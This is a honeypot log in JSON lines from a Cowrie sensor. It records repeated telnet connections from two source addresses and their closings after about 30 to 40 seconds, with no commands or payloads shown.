{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36114,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5501b91f92","protocol":"telnet","message":"New connection: 209.159.146.115:36114 (159.203.135.109:23) [session: 2c5501b91f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:58.456944Z"}
{"eventid":"cowrie.session.closed","duration":33.405125856399536,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:58.530920Z","src_ip":"209.159.146.115","session":"b454ab143a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13d1661ee9e","protocol":"telnet","message":"New connection: 209.159.146.115:36962 (159.203.135.109:23) [session: f13d1661ee9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:58.573422Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36848,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ada6dd22fe9","protocol":"telnet","message":"New connection: 57.128.88.161:36848 (159.203.135.109:23) [session: 8ada6dd22fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:58.597151Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36854,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce23fa9ec4e3","protocol":"telnet","message":"New connection: 57.128.88.161:36854 (159.203.135.109:23) [session: ce23fa9ec4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:58.682491Z"}
{"eventid":"cowrie.session.closed","duration":30.515218257904053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:59.147906Z","src_ip":"57.128.88.161","session":"b4ac296d61fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311949253082275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:59.195695Z","src_ip":"57.128.88.161","session":"956f1d6fbbff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36866,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bea32ef530d","protocol":"telnet","message":"New connection: 57.128.88.161:36866 (159.203.135.109:23) [session: 3bea32ef530d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:59.308264Z"}
{"eventid":"cowrie.session.closed","duration":34.89432883262634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:59.383357Z","src_ip":"209.159.146.115","session":"2b9db93038d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.588738203048706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:59.890103Z","src_ip":"57.128.88.161","session":"ae823003bd93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65447449684143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:59.910703Z","src_ip":"57.128.88.161","session":"69ee366226d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.595481634140015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:59.930097Z","src_ip":"57.128.88.161","session":"6dd338dd7827","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11474657058716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:00.027042Z","src_ip":"209.159.146.115","session":"2991a4aef652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890294313430786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:00.119207Z","src_ip":"57.128.88.161","session":"215fd140013a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51138,"dst_ip":"159.203.135.109","dst_port":23,"session":"60d9d371913f","protocol":"telnet","message":"New connection: 209.159.146.115:51138 (159.203.135.109:23) [session: 60d9d371913f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:01.028455Z"}
{"eventid":"cowrie.session.closed","duration":30.314168214797974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:01.038738Z","src_ip":"57.128.88.161","session":"ec7477d6db64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17902374267578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:01.064901Z","src_ip":"57.128.88.161","session":"a3ea5110948b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761091709136963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:01.070481Z","src_ip":"57.128.88.161","session":"e4a74143c56e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79423236846924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:01.200201Z","src_ip":"57.128.88.161","session":"9bc1356db4d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.916166067123413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:01.994221Z","src_ip":"57.128.88.161","session":"d9904d9e5d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85347318649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:03.059417Z","src_ip":"57.128.88.161","session":"c167be4ff20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5100839138031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:03.094820Z","src_ip":"57.128.88.161","session":"977c05064821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831871509552002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:03.174690Z","src_ip":"57.128.88.161","session":"4f5e80efd228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830180406570435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:03.179771Z","src_ip":"57.128.88.161","session":"ac51ac25421a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512768507003784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:03.381732Z","src_ip":"57.128.88.161","session":"8a3d412adc68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342062950134277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:04.550632Z","src_ip":"57.128.88.161","session":"6f2f8113f8b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.433536052703857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:04.827432Z","src_ip":"57.128.88.161","session":"da46e3f11aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37552,"dst_ip":"159.203.135.109","dst_port":23,"session":"64e9abdc50f5","protocol":"telnet","message":"New connection: 209.159.146.115:37552 (159.203.135.109:23) [session: 64e9abdc50f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:05.035108Z"}
{"eventid":"cowrie.session.closed","duration":31.075856685638428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:05.183909Z","src_ip":"57.128.88.161","session":"85a6dc8d39a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44836,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e79d830aa05","protocol":"telnet","message":"New connection: 209.159.146.115:44836 (159.203.135.109:23) [session: 2e79d830aa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:07.004494Z"}
{"eventid":"cowrie.session.closed","duration":30.783921480178833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:07.255414Z","src_ip":"57.128.88.161","session":"5d0b852b5118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466076612472534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:08.107900Z","src_ip":"57.128.88.161","session":"fc9571f139e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890400648117065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:08.112989Z","src_ip":"57.128.88.161","session":"ada45f71b692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.36936926841736,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:08.319849Z","src_ip":"209.159.146.115","session":"ac47e8af58f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d01b58542be","protocol":"telnet","message":"New connection: 209.159.146.115:45462 (159.203.135.109:23) [session: 8d01b58542be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:08.586842Z"}
{"eventid":"cowrie.session.closed","duration":30.948216676712036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:09.079978Z","src_ip":"57.128.88.161","session":"159ad3c78354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":49968,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a7a3ccd097","protocol":"telnet","message":"New connection: 57.128.88.161:49968 (159.203.135.109:23) [session: 33a7a3ccd097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:09.256324Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":49974,"dst_ip":"159.203.135.109","dst_port":23,"session":"f605ec707a42","protocol":"telnet","message":"New connection: 57.128.88.161:49974 (159.203.135.109:23) [session: f605ec707a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:09.650213Z"}
{"eventid":"cowrie.session.closed","duration":30.75987219810486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:10.139110Z","src_ip":"57.128.88.161","session":"3d863c37abe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56858,"dst_ip":"159.203.135.109","dst_port":23,"session":"14415b8dc721","protocol":"telnet","message":"New connection: 209.159.146.115:56858 (159.203.135.109:23) [session: 14415b8dc721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:11.040334Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ef35c94731","protocol":"telnet","message":"New connection: 209.159.146.115:57712 (159.203.135.109:23) [session: 23ef35c94731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:11.529840Z"}
{"eventid":"cowrie.session.closed","duration":32.032591104507446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:11.654997Z","src_ip":"209.159.146.115","session":"c8e610ac8d08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00495409965515,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:11.663715Z","src_ip":"209.159.146.115","session":"c5701532757e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.414496421813965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:11.863006Z","src_ip":"57.128.88.161","session":"5b82471667e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.93469285964966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:12.319242Z","src_ip":"209.159.146.115","session":"1461179bd3d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34402,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f8e4035377","protocol":"telnet","message":"New connection: 209.159.146.115:34402 (159.203.135.109:23) [session: e4f8e4035377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:12.707291Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35248,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7833116bf6","protocol":"telnet","message":"New connection: 209.159.146.115:35248 (159.203.135.109:23) [session: 7d7833116bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:12.908165Z"}
{"eventid":"cowrie.session.closed","duration":31.961483001708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:13.351505Z","src_ip":"209.159.146.115","session":"e90e515533ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642312049865723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.021723Z","src_ip":"57.128.88.161","session":"17da15dd64e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895160675048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.093134Z","src_ip":"57.128.88.161","session":"ce95747d8bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79272198677063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.279410Z","src_ip":"57.128.88.161","session":"7139933ddf8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36704,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba0e6801f2c","protocol":"telnet","message":"New connection: 57.128.88.161:36704 (159.203.135.109:23) [session: 4ba0e6801f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.441844Z"}
{"eventid":"cowrie.session.closed","duration":37.11986994743347,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.455596Z","src_ip":"209.159.146.115","session":"c27e4b8c4c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40556,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d3931c51750","protocol":"telnet","message":"New connection: 209.159.146.115:40556 (159.203.135.109:23) [session: 6d3931c51750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.484167Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41208,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66bf9b6b0b6","protocol":"telnet","message":"New connection: 209.159.146.115:41208 (159.203.135.109:23) [session: a66bf9b6b0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.688667Z"}
{"eventid":"cowrie.session.closed","duration":31.268544912338257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:14.976788Z","src_ip":"209.159.146.115","session":"d3b95ea6cc93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633114337921143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:15.088320Z","src_ip":"57.128.88.161","session":"546d93933237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62458062171936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:15.144574Z","src_ip":"57.128.88.161","session":"ca80d1f90ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36720,"dst_ip":"159.203.135.109","dst_port":23,"session":"f41944aecf9d","protocol":"telnet","message":"New connection: 57.128.88.161:36720 (159.203.135.109:23) [session: f41944aecf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:15.395041Z"}
{"eventid":"cowrie.session.closed","duration":30.63093900680542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:16.082992Z","src_ip":"57.128.88.161","session":"37442606951c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46860,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa04f3ecf5d","protocol":"telnet","message":"New connection: 209.159.146.115:46860 (159.203.135.109:23) [session: daa04f3ecf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:16.485972Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47030,"dst_ip":"159.203.135.109","dst_port":23,"session":"633e1e37b7e1","protocol":"telnet","message":"New connection: 209.159.146.115:47030 (159.203.135.109:23) [session: 633e1e37b7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:16.551759Z"}
{"eventid":"cowrie.session.closed","duration":31.52072834968567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:16.949595Z","src_ip":"57.128.88.161","session":"bdfacff78bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644158840179443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:17.059215Z","src_ip":"57.128.88.161","session":"b1f3ca795eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36736,"dst_ip":"159.203.135.109","dst_port":23,"session":"197290007b8d","protocol":"telnet","message":"New connection: 57.128.88.161:36736 (159.203.135.109:23) [session: 197290007b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:17.202364Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36744,"dst_ip":"159.203.135.109","dst_port":23,"session":"480ef18ced63","protocol":"telnet","message":"New connection: 57.128.88.161:36744 (159.203.135.109:23) [session: 480ef18ced63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:17.296655Z"}
{"eventid":"cowrie.session.closed","duration":31.413512706756592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:17.459136Z","src_ip":"57.128.88.161","session":"416fe0c0bf1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a678167194e","protocol":"telnet","message":"New connection: 209.159.146.115:51390 (159.203.135.109:23) [session: 8a678167194e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:17.531271Z"}
{"eventid":"cowrie.session.closed","duration":35.98856282234192,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:18.142835Z","src_ip":"209.159.146.115","session":"0ed668a03b26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371013879776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:18.198716Z","src_ip":"57.128.88.161","session":"29e22c90769b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.27551221847534,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:18.243861Z","src_ip":"209.159.146.115","session":"1d275ecde50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36758,"dst_ip":"159.203.135.109","dst_port":23,"session":"0395394a000f","protocol":"telnet","message":"New connection: 57.128.88.161:36758 (159.203.135.109:23) [session: 0395394a000f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:18.324025Z"}
{"eventid":"cowrie.session.closed","duration":30.475083351135254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:18.328064Z","src_ip":"209.159.146.115","session":"c6534c6d31e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39186,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b377d0c620b","protocol":"telnet","message":"New connection: 209.159.146.115:39186 (159.203.135.109:23) [session: 2b377d0c620b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:20.349194Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48270,"dst_ip":"159.203.135.109","dst_port":23,"session":"8869f716da32","protocol":"telnet","message":"New connection: 57.128.88.161:48270 (159.203.135.109:23) [session: 8869f716da32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:21.687903Z"}
{"eventid":"cowrie.session.closed","duration":31.192179918289185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:21.902194Z","src_ip":"57.128.88.161","session":"5a0b589db73e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":48284,"dst_ip":"159.203.135.109","dst_port":23,"session":"36673d534afa","protocol":"telnet","message":"New connection: 57.128.88.161:48284 (159.203.135.109:23) [session: 36673d534afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:21.993214Z"}
{"eventid":"cowrie.session.closed","duration":30.334251642227173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:22.047580Z","src_ip":"57.128.88.161","session":"54d901593968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48404,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dec68d84d69","protocol":"telnet","message":"New connection: 209.159.146.115:48404 (159.203.135.109:23) [session: 5dec68d84d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:22.275565Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48446,"dst_ip":"159.203.135.109","dst_port":23,"session":"1599b4426e96","protocol":"telnet","message":"New connection: 209.159.146.115:48446 (159.203.135.109:23) [session: 1599b4426e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:22.293797Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48590,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b2412264423","protocol":"telnet","message":"New connection: 209.159.146.115:48590 (159.203.135.109:23) [session: 0b2412264423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:22.350309Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49582,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbb47b796dad","protocol":"telnet","message":"New connection: 209.159.146.115:49582 (159.203.135.109:23) [session: dbb47b796dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:22.622225Z"}
{"eventid":"cowrie.session.closed","duration":40.22189974784851,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:22.669835Z","src_ip":"209.159.146.115","session":"6f9866d8d2f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5276255607605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:52:23.020413Z","src_ip":"209.159.146.115","session":"a1394631602f","protocol":"telnet"}
